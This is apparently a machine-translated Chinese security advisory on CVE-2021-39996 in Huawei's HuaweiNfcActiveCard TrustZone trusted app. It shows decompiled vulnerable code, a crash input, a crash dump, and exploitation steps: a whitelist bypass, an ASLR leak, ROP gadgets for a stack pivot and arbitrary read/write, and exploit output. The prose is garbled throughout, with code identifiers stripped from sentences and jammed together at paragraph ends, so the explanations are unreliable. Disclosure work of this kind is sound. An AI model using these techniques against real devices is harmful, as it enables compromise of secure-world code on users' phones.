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Huawei TrustZone HuaweiNfcActiveCard 漏洞

此通报包含有关以下漏洞的信息：

• CVE-2021-39996 漏洞CVE-2021-39996 SplitAidStrtok 中的缓冲区溢出

HuaweiNfcActiveCard TA符合GlobalPlatform TEE内部核心接口。因此，它从位于正常环境中的客户端应用程序接收命令。这些命令由函数处理。TA_InvokeCommandEntryPoint

该 TA 实现了 13 个命令，但仅调用 （0x20002） 就足以触发漏洞。CmdTeeHardwareSyncAidList

信息泄露ParseAidList¶

函数中存在信息泄漏，可用于泄漏堆栈上分配的缓冲区的地址。结合第二个漏洞，可以用来获取TA基址。此信息泄漏来自对 in 的调用：ParseAidListSLogParseAidList

int ParseAidList() {
    char *list_elem;
    int list_elem_len;
    char stack_buf[0x1400];
    // [...]
    if (g_aidCount > 0) {
        for (list_elem = &g_aidList; ; list_elem += 0x100) {
            SLog("%s: ParseAidList Enter, g_aidList[%d]=%s\n", "[Trace]", index, list_elem);
            list_elem_len = strlen(list_elem);
            tmpCnt = SplitAidStrtok(stack_buf, list_elem, list_elem_len, ",");
            SLog("%s: ParseAidList Enter, tmpCnt=%d\n", "[Trace]", tmpCnt);
            if (tmpCnt < 2) {
                SLog("%s: ParseAidList : at least two property:type and aid\n", "[Error]");
            } else if (!strncmp(&stack_buf[0x100], "501", 3)) {
                // [...]
            }
            // [...] many more else ifs [...]
            else {
                SLog("%s: ParseAidList unknown card aidList=%s, type=%d\n", "[Error]", &stack_buf[0x100], stack_buf);
            }
            // [...]
        }
    }
    // [...]
}

每个 in 都经过解析，用于拆分分隔符上的字符串并将生成的子字符串放入堆栈缓冲区中。该函数需要 2 个子字符串和 .如果堆栈缓冲区中的 ， at offset 0x100与任何预期值（等）不匹配，则它将进入默认情况，该情况使用 和 as 参数进行调用。但是由于 的格式说明符是 而不是 ，它将打印字符串地址而不是字符串本身：list_elemg_aidListSplitAidStrtok","stack_buftypeaidaid"501"SLogtypeaidaid%d%s

[TA_HuaweiNfcActiveCard-1] [Error]: ParseAidList unknown card aidList=A, type=110212648

缓冲区溢出SplitAidStrtok¶

该函数中存在一个漏洞，允许超出其第一个参数的边界写入。根据调用此函数的位置，它可用于在 BSS 中写入用户控制的数据，或者更有趣的是，在堆栈上写入。此缓冲区溢出是由于缺少对函数的检查。SplitAidStrtokSplitAidStrtok

int SplitAidStrtok(char *out_list, char *aidList, int aidLen, const char *separator) {
    // [...]
    const char *list_elem;
    size_t list_elem_len;
    int next_elem_ptr;
    int count;
    int ptr;
    // [...]
    // sanity checks of the arguments
    list_elem = strtok_s(aidList, separator, &ptr);
    if (list_elem) {
        list_elem_len = strlen(list_elem);
        if (strncpy_s(out_list, 0x100, list_elem, list_elem_len))
            return 0xFFFF0006;
        next_elem_ptr = out_list + 0x100;
        count = 1;
        while (1) {
            list_elem = strtok_s(0, separator, &ptr);
            if (!list_elem)
                break;
            list_elem_len = strlen(list_elem);
            ++count;
            if (strncpy_s(next_elem_ptr, 0x100, list_elem, list_elem_len))
                return 0xFFFF0006;
            next_elem_ptr += 0x100;
        }
        return count;
    }
    // [...]
}

该函数在循环中调用作为参数给出的字符串，以检索以分隔的子字符串。对于每个子字符串，它调用以每次递增 0x100 的偏移量将其复制到其中。SplitAidStrtokstrtok_saidListseparatorstrncpy_sout_list

例如，if is ，将被复制到 +0x0、+0x100 和 +0x200。但正如你所看到的，可以复制的子字符串数量没有限制。这意味着给定足够长的字符串，我们可以溢出缓冲区。aidList"A,B,C""A"out_list"B"out_list"C"out_listaidListout_list

SplitAidStrtok在 2 个地方调用：

int GetAidList(const char *aidList, int aidLen) {
    // [...]
    g_aidCount = SplitAidStrtok(&g_aidList, aidList, aidLen, "|");
    // [...]
}

在 中，它可用于溢出 BSS 中分配的大小为 0x1400 的缓冲区（该参数完全由用户控制）。GetAidListg_aidListaidList

int ParseAidList() {
    char stack_buf[0x1400];
    // [...]
    list_elem = &g_aidList;
    for (index = 0; index < g_aidCount; ++index) {
        list_elem_len = strlen(list_elem);
        tmpCnt = SplitAidStrtok(stack_buf, list_elem, list_elem_len, ",");
        // [...]
        list_elem += 0x100;
    }
}

在 中，它可用于溢出堆栈上分配的大小为 0x1400 的缓冲区（该参数由用户控制，但限制为 255 字节）。ParseAidListstack_buflist_elem

unsigned int CmdTeeHardwareSyncAidList(void *session, unsigned int paramTypes, int *params) {
    // [...]
    // checking the parameters types
    // [...]
    buffer = params[0].memref.buffer;
    length = params[0].memref.length;
    WriteAidListToFile(buffer, length);
    GetAidList(buffer, length);
    ParseAidList();
}

该命令需要单个参数：包含单个字符串的输入缓冲区。它将使用此字符串调用函数。 将拆分它并将子字符串存储到全局缓冲区中。然后调用将每个子字符串拆分为 on ，将结果放入堆栈缓冲区并对其进行处理。CmdTeeHardwareSyncAidListGetAidListGetAidList"|"g_aidListCmdTeeHardwareSyncAidListParseAidListg_aidList","

触发崩溃的输入字符串示例如下：A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,AAAAAAAAAAAAAAAAAAAAAAAA

[HM] ESR_EL1: 82000006, ELR_EL1: 41414140, FAR is not valid
[HM] TA_HuaweiNfcAct vm fault prefetch abort: 41414140
[HM] fault: 82000006 tcb cref 2200000028
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <ParseAidList>+0x384/0x41c
[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 2200000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0x41414140, fault_code: 0x82000006
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM]     name=[TA_HuaweiNfcAct] tid=40 is-idle=0 is-curr=0
[HM]     state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM]     aff[0]=ff
[HM]     flags=1000 smc-switch=0 ca=8625 prefer-ca=8625
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <ParseAidList>+0x384/0x41c
[HM] Dump task states END
[HM]
[HM] [TRACE][1212]pid=48 exit_status=130

虽然 trustlet 中有堆栈 cookie，但令人惊讶的是，函数中没有。如上所述，可以覆盖堆栈上的返回地址，我们现在将看到如何利用它。ParseAidList

开发¶

我们的设备设置¶

我们开发漏洞利用的设备是运行固件更新的P40 Pro。trustlet 二进制 MD5 校验和如下：ELS-LGRP4-OVS_11.0.0.196

HWELS:/ ## md5sum /vendor/bin/5fce3ea5-fa71-4152-a30f-f46be8c924bf.sec
318662fa357d2701941706d775e1115f  /vendor/bin/5fce3ea5-fa71-4152-a30f-f46be8c924bf.sec

华为TEE OS iTrustee实现了白名单机制，只允许特定的客户端应用（原生二进制文件或APK）与可信应用通信。

在我们的例子中，HuaweiNfcActiveCard TA 只能被 2 个原生二进制文件和一个 APK 调用：

• /vendor/bin/nfcgetcplc（uid 0）;

• /vendor/bin/hw/[email protected]（uid 0 或 1068）;

• com.android.nfc（证书以 开头）。c2851d1c

身份验证机制分为 3 个部分：
- 守护进程，实现 TEE 客户端 API，检查哪个原生二进制文件/APK 正在与它通信，并将该信息发送到内核驱动程序;
- 内核驱动程序确保它正在与 通信，并将它收到的信息转发给 TEE OS;
- TEE OS 验证客户端应用是否在 TA 的白名单中。teecdteecd

由于我们不想费心在这些二进制文件之一中注入代码，因此我们选择通过修补内核驱动程序来规避身份验证，以添加模拟任何原生二进制文件/APK 的功能。

泄漏 ASLR 幻灯片¶

要获取 trustlet 的基址，第一步是泄露 in 的地址。为此，我们通过发送包含未知（在漏洞利用中）的输入字符串来触发上一节中介绍的信息泄漏。stack_bufParseAidListaid"A,A"

第二步是在 trustlet 部分泄露地址。由于第二个漏洞，我们能够溢出缓冲区周围的堆栈布局如下：.textstack_buf

0x1A40 ┌────────────────┐
       │       LR     ──┼──► .text + 0x1364
0x1A3C ├────────────────┤
       │       R11      │
0x1A38 ├────────────────┤
       │       R7       │
0x1A34 ├────────────────┤
       │       R6     ──┼──► saved length
0x1A30 ├────────────────┤
       │       R5     ──┼──► saved buffer
0x1A2C ├────────────────┤
       │       R4       │
0x1A28 ├────────────────┤
       │                │
       │                │
       │                │
       │    stack_buf   │
       │                │
       │                │
       │                │
0x0628 └────────────────┘

后面的第二个 dword 是在 开头推送的 R5 寄存器的值。此值将在执行返回到 之前的 right 末尾弹出。在 中，R5 寄存器将用作调用 的参数，带有格式说明符，允许我们泄漏此地址的字节（最多第一个空字节）。由于我们对泄露代码地址感兴趣，因此我们可以选择用输入时保存的 LR 地址覆盖保存的 R5。stack_bufParseAidListParseAidListCmdTeeHardwareSyncAidListCmdTeeHardwareSyncAidListSLog%sParseAidList

任意读/写¶

通过覆盖保存的 LR 而不是保存的 R5，我们可以执行不同的 ROP 链，允许我们执行任意读取和写入。在我们的 ROP 链中，我们需要注意不要在堆栈上溢出太多值，因为我们希望保留先前堆栈帧的已保存寄存器，以便以后可以将它们弹出。为此，我们选择使用以下小工具将 pivot 堆栈到从正常世界映射到的输入缓冲区中：

pop {r11,pc}
---
sub sp, r11, #4
pop {r11,pc}

我们根据经验并利用过去漏洞利用的知识获得了输入缓冲区地址（0x70003000）。

任意写入的 ROP 链是围绕以下小工具构建的：

str r3, [r4,#4]
sub sp, r11, #0xc
pop {r4,r5,r11,pc}

任意读取的 ROP 链更复杂，因为我们找不到任何从 trustlet 内的寄存器执行加载的小工具。相反，我们决定将 to 的调用与对 的调用链接起来。这实际上等同于调用 。WriteAidListToFile(src_addr, 4)ReadAidListFromFile(dst_addr, &{4})memcpy(dst_addr, src_addr, 4)

因为第一个参数是输入缓冲区而不是输入输出缓冲区，所以它不会在返回时被 TEEOS 复制回正常世界，因此我们不能使用它来检索我们的值。相反，我们选择做的是将值写入堆栈，将其弹出到带有小工具的寄存器中，然后将其移动到 R0 中。这样，它将成为命令的返回码。

在漏洞利用中，我们通过写入该部分来演示我们的 write 原语，并通过转储 trustlet 内存来演示我们的 read 原语：.data

adb wait-for-device shell su root sh -c 0 "/data/local/tmp/ta_huaweinfcactivecard"
stack_leak_addr = 69ce628
code_leak_addr = 3ee0608
ta_base_addr = 3ede000
got_addr = 69c6000
bss_start = 12345678
bss_start = deadbeef
Trustlet memory dump:
0x03ede000: f0 4f 2d e9 54 c1 9f e5 20 b0 8d e2 84 d0 4d e2 .O-.T... .....M.
0x03ede010: 00 30 9c e5 00 00 51 e3 98 00 0b e5 28 30 0b e5 .0....Q.....(0..
0x03ede020: 49 00 00 0a 12 00 52 e3 3d 00 00 ca 30 31 9f e5 I.....R.=...01..
0x03ede030: c2 9f a0 e1 92 03 c3 e0 43 92 79 e0 21 00 00 4a ........C.y.!..J

获取代码执行¶

虽然在漏洞中没有演示，但也可以使用共享库（、、等）中的小工具，因为它们也映射在 trustlet 的地址空间中。可以通过阅读 GGOT 的内容找到它们的基址。libc_shared_a32.solibtee_shared_a32.solibvendor_shared_a32.so

例如，这可用于进行任意系统调用，并可能进一步提升权限。

受影响的设备¶

我们已验证该漏洞是否影响了以下设备：

• 麒麟990：P40 专业版 （ELS）

请注意，其他型号可能已受到影响。

补丁¶

时间线¶

• 2021年10月06日 - 向华为PSIRT发送漏洞报告。

• 2021年10月25日 - 华为PSIRT确认该漏洞报告。

• 2021年12月01日 - 华为PSIRT表示，这些问题已在2021年12月的更新中修复。

• 从 2022 年 11 月 30 日至 2023 年 7 月 19 日 - 我们定期交换有关公告发布的信息。

• 二进制漏洞(更新中)

• 其它课程

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